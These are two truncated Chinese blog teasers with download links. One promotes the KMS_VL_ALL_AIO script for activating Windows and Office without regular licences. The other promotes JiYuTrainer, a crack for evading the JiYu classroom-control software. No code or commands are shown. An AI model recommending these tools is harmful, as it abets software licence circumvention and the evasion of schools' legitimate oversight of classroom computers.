如何在3分钟内完成Windows与Office批量激活:开源KMS工具完整指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 如果您正在寻找一个简单高效的Windows与Office批量激活解决方案&…...

JiYuTrainer:如何在极域电子教室中找回你的学习主动权

JiYuTrainer:如何在极域电子教室中找回你的学习主动权 【免费下载链接】JiYuTrainer 极域电子教室防控制软件, StudenMain.exe 破解 项目地址: https://gitcode.com/gh_mirrors/ji/JiYuTrainer 你是否曾坐在机房电脑前,看着老师通过极域电子教室全…...